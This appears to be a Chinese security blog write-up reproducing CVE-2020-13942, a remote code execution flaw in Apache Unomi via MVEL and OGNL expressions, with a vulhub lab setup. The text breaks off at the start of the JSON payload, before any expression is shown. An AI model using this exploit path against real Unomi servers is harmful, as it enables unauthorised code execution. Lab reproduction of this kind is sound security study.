0x00 简介
Apache Unomi 是一个基于标准的客户数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验,比如 GDPR 和“不跟踪”偏好设置。其最初于 Jahia 开发,2015 年 10 月提交给了 Apache 孵化器。Apache Unomi 具有隐私管理、用户/事件/目标跟踪、报告、访客资料管理、细分、角色、A/B 测试等功能,它可以作为:Web CMS 个性化服务、原生移动应用的分析服务、具有分段功能的集中配置文件管理系统、授权管理中心。
0x01 漏洞概述
Apache Unomi允许远程攻击者使用可能包含任意类的MVEL和OGNL表达式发送恶意请求,从而产生具有Unomi应用程序特权的远程代码执行(RCE)。
0x02 影响版本
Apache Unomi < 1.5.2
0x03 环境搭建
- 使用vulhub环境进行搭建
https://github.com/vulhub/vulhub/blob/master/unomi/CVE-2020-13942/
- 使用以下命令启动环境
docker-compose up -d
3.docker ps 查看运行安状况
4.访问192.168.141.131:8181或者192.168.141.131:9443,即可搭建成功
0x04 漏洞复现
- 使用bp进行抓包,通过MVEL表达式执行任意命令
{
"filters": [
{
"id":